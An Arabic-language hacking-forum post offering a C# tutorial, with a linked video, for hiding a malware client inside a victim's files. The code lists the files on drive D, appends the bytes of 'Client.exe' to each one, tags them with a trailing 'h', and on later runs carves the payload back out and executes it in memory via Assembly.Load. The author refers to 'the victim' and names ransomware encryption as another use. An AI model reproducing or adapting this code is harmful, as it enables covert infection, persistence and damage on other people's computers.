07.01.2018 حقن بايتات الكلاينت بكافة ملفات الضحية والقراءة منها { لها استخدامات اخرى:) }


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,571
2,967
1
حياكم الله ياشباب
نفوت بالموضوع لان الفديو بيكفي وبوفي بالشرح
فكرتي هيه جلب اسماء ومسارات كل الملفات بكافة الامتدادات jpg,mp4,exe,zip,rar,txt,mp3,...etc
في كافة المجلدات مثلا في القرص D
وهالملفات اللي جلبنا اسماءهم ومساراتهم ممكن نشفرهم "فايروس فدية هه"
ممكن نحقنهم ببايتات كلاينتنا او اي شي نريده ونقرا منهم بعدين وهذا اللي سويته
بالاضافة لافكار كثيرة انت ومخك هه ..
رح يصير عنا سترينج اراي نتيجة لجلب الملفات اسماءها امتدادها ومساراتها
C#:
static string[] Files = Directory.GetFiles(@"D:\", "*.*", SearchOption.TopDirectoryOnly);
محتوى هالسترينج اراي مثل ماقلت كافة اسماء الملفات والمجلدات الموجودة في القرص D
وكلن رح تشوف مشكلة ان اخترنا AllDirectories لان فيه مسارات فيه مشكلة بالوصول لها
لهيك اخترت TopDirectoryOnly يعني المجلدات الاكثر استخداما او هيك شي ..
رح يجلب كافة الملفات الموجودة في اكثر المجلدات استخداما من قبل الضحية
وعددها مش قليل عندي كانت بالقرص D جبلي 553 ملف
كلهم رح نحقن فيهم بايتات الكلاينت الخاص بنا عن طريق الفانكشن هنا
C#:
public static byte[] Combine(byte[] fisrt, byte[] second)
       {
           byte[] ret = new byte[fisrt.Length + second.Length];
           Buffer.BlockCopy(fisrt, 0, ret, 0 , fisrt.Length);
           Buffer.BlockCopy(second, 0 , ret, fisrt.Length, second.Length);
           return ret;
       }
بماان اسماء الملفات عندنا ومساراتهم وامتداداتهم فعن طريق Foreach منكتب البايتات على كل ملف وذلك كالتالي
"الملفات رح تبقى تعمل مثل الطبيعي والايقونة مارح تتغير بس رح نحقن بايتاتنا باخر كل ملف"
C#:
else
            {
File.WriteAllText("x", "");
foreach (var file in Files)
  {
File.WriteAllBytes(file, Combine(File.ReadAllBytes(file), File.ReadAllBytes("Client.exe")));
    }
            }
ليش الـelse شوف الفديو بتفهم بس الخلاصة هالشي رح يصير باول مرة تشغيل لناتج السورس فقط
اما ثاني مرة لازم يصير شي ثاني مختلف وهوة قراءة البايتات من ملف من الملفات المجلبة
اللي تم الحقن بها وتشغيلها يس كيف يفهم ناتج سورسنا انه اول تشغيل لو ثاني تشغيل
اعتمدت بهالشي على كتابة ملف x في مسار ما ..ان كان اول تشغيل يعني لسا البايتات مانحقنت
والملف x مش موجود فبيكتبه وبيحقن البايتات
الان عند ثاني مرة تشغيل او الثالثة او المليون رح يشوف الملف x موجود فمارح يحقن البايتات لانها محقونه
وذلك لان الملف x موجود يعني ان البايتات تم حقنها وانتهت ..
لذلك رح ينفذ if
C#:
if (File.Exists("x"))
            {
var i = 0;
b :
var s = System.Text.Encoding.ASCII.GetString(File.ReadAllBytes(Files[i]));
if (s.Substring(s.Length - 1, 1) == "h")
                {
var ourclient = new byte[16896];
var data = File.ReadAllBytes(Files[i]);
Array.Copy(data, data.Length - 16896, ourclient, 0, 16896);
System.Reflection.Assembly.Load(ourclient).EntryPoint.Invoke(null, null);
                }
                else
                {
i++;
goto b;
                }
طبعا لازملها شرح قوي ورح افصل هنا مع انني فصلت بالفديو
بعد اول تشغيل وبعد ماتم انشاء الملف وحقن البايتات الملف x رح يكون موجود
لهيك رح يتحقق الشرط
C#:
if (File.Exists("x"))
ويدخل عليه ينفذ اللي جواته
C#:
var i = 0;
b :
var s = System.Text.Encoding.ASCII.GetString(File.ReadAllBytes(Files[i]));
if (s.Substring(s.Length - 1, 1) == "h")
                {
var ourclient = new byte[16896];
var data = File.ReadAllBytes(Files[i]);
Array.Copy(data, data.Length - 16896, ourclient, 0, 16896);
System.Reflection.Assembly.Load(ourclient).EntryPoint.Invoke(null, null);
واللي جواته بده موضوع لوحده هه ..
هنا
C#:
var i = 0;
b :
عرفت متغير من نوع انتجر واعطيته قيمة ابتدائية 0
بمثابة كاونتر رح يكون رح يعدلي من ال0 وحتى عدد الملفات كلها
المهم مش وقت الشرح هذا بس لازم تعرف ايش هو
و عملت نقطة ابتدائية لـ اللوب البدي اسويها عشان ارجعلها
وبعد شوي رح تعرف ليش بدي ارجع لهالنقطة بالذات
ومكانها مالازم يكون بمكان آخر
حلو الان هنا
C#:
var s = System.Text.Encoding.ASCII.GetString(File.ReadAllBytes(Files[i]));
if (s.Substring(s.Length - 1, 1) == "h")
عرفت متغير من نوع سترينج مهمته انه بيجيب لي التكست الخاص بالملفات المحقونه كلها بالترتيب
كيف يعني التكست الخاص بالبايت اراي وليش .؟
اول شي شوف شو يعني السترينج او التكست الخاص بالبايت اراي هنا صورة






اللي عاليمين هي السترينج اللي جلبتهم
بس انا بدي شيك مش على كل السترينج رح شيك على اخر محرف بالسترينج ان
كان بساوي h معناها الملف محقون وماتم استبداله ومن جماعتنا ههه
يعني الكلاينت موجود ومحقون بالملف هذا اللي هوة اول عنصر اول ملف بالسترينج اراي
لان مش عرفنا i بتساوي اول مرة 0 وانا قلت جيب لي السترينج من الـFiles
معناها رح يشيك على اول ملف عنده ان نهايته h
رح ينفذ اللي رح اذكره بعدشوي

بس كيف كلاينتنا رح يكون نهايته هالحرف هذا
الطريقة سهله فقط افتح كلاينتك باي محرر قيم هيكس ورح تقدر تعدل على اخر اوفست بسهولة
شوف الفديو بتعرف كيف
وانا عملت هالحركة عشان اعرف الملفات الموسومة اللي عليها توقيع ملفنا من اللي استبدلها الضحية مثلا
لان ممكن بستبدل الملف لسبب او اخر او بكتب فوقه بنفس الاسم
فلو ماعملنا هالاستثناء وقعد برنامجنا يقرامن اي ملف من الملفات اللي انحقنت
فوقتها مشكلة صحيح انو الملف كان محقون بس بعد انو تم استبداله للملف من قبل الضحية هنا مشكلة رح تصير
مع انو الاحتمال ضعيف انه يبدل الملف اللي عمتم القراءة منه من جملة 500 ملف
المهم منكمل ان شاف الحرف ك اخر سترينج بالبايت اراي وش يسوي

C#:
var ourclient = new byte[16896];
var data = File.ReadAllBytes(Files[i]);
Array.Copy(data, data.Length - 16896, ourclient, 0, 16896);
System.Reflection.Assembly.Load(ourclient).EntryPoint.Invoke(null, null);
رح نحجز بايت اراي بلينجث الكلاينت الخاص بنا "اعتقد مليون مرة حكينا كيف تجيب اللينجث"
ومن ثم رح نقرا بايتات الملف اللي اجا عليه الدور وكان نهايته h
ورح ننسخ بايتات الكلاينت الخاص بنا الى المصفوفة الهدف ourclient

عن طريق الاراي كوبي وشارحها من قبل كثير وشرحتها بالفديو
الان انتهينا تقريبا بفرض ان الملفات كلها لم تتغير ولكن ان تم تغيير الملف اللي عمنقوم بالقراءة منه
وقتها رح يعمل تشييك مثل ماخبرتكم ويشوف انو الملف نهايته مش h وقت يجلب اخر سترينج منه
ولهيك رح يطلع من if ويروح else
C#:
else
{
i++;
goto b;
}
رح يزيد i اللي كانت 0 ويسويها 1 ويروح على نقطة اللوب اللي حددناها ويرجع يشيك من عندها
ليش سوينا كذا عشان يتغير الملف لان الملف الاول كان العنصر الاول بمصفوفة السترينج
يعني ان الملف الاول اللي عمتم التشييك عليه وكان رقمه 0 لان المصفوفات بتبلش بالعد من 0

وهالملف ماكان نهايته h يعني ان مازدت ال i واحد مارح يكمل على الملف اللي بعده ويشيك عليه
الان ان شاف الh رح يشغل البايتات بعد ماينسخها ووو ..
ان ماشاف الh رح يطلع من if ويرجع يروح else ويزيد الi وتصير 2
وينتقل للملف اللي بعده ويشيك هل الملف محقون ومش متغير يعني نهايته h
ان نعم بيحجز لنا مصفوفة بلينجث الكلاينت الخاص بنا
وبيخزن فيها بايتات الكلاينت وبشغله
هذا هو كل السورس
لمشاهدة الفديو من هنا


حمل الفديو من الرابط هنا
https://drive.google.com/file/d/1RzqJ6g-gPcWTM_g4I4Oxau8bJFmFEOh-/view?usp=sharing
 

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك